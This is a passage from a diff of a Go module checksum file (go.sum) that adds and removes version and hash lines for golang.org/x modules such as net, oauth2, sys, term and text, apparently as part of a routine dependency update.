h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= +golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -626,7 +1465,30 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= +golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -638,6 +1500,13 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -655,8 +1524,11 @@ golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -680,23 +1552,76 @@ golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.9.0 h1:KS/R3tvhPqvJvwcKfnBHJwwthS11LRhmM5D59eEXa0s= golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= +golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= +golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28= +golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -706,16 +1631,28 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.10.0 h1:UpjohKhiEgNc0CSauXmwYftY1+LlaC75SJwh0SgCX58= +golang.org/x/text v0.10.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= @@ -730,7 +1667,9 @@ golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190927191325-030b2cf1153e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools 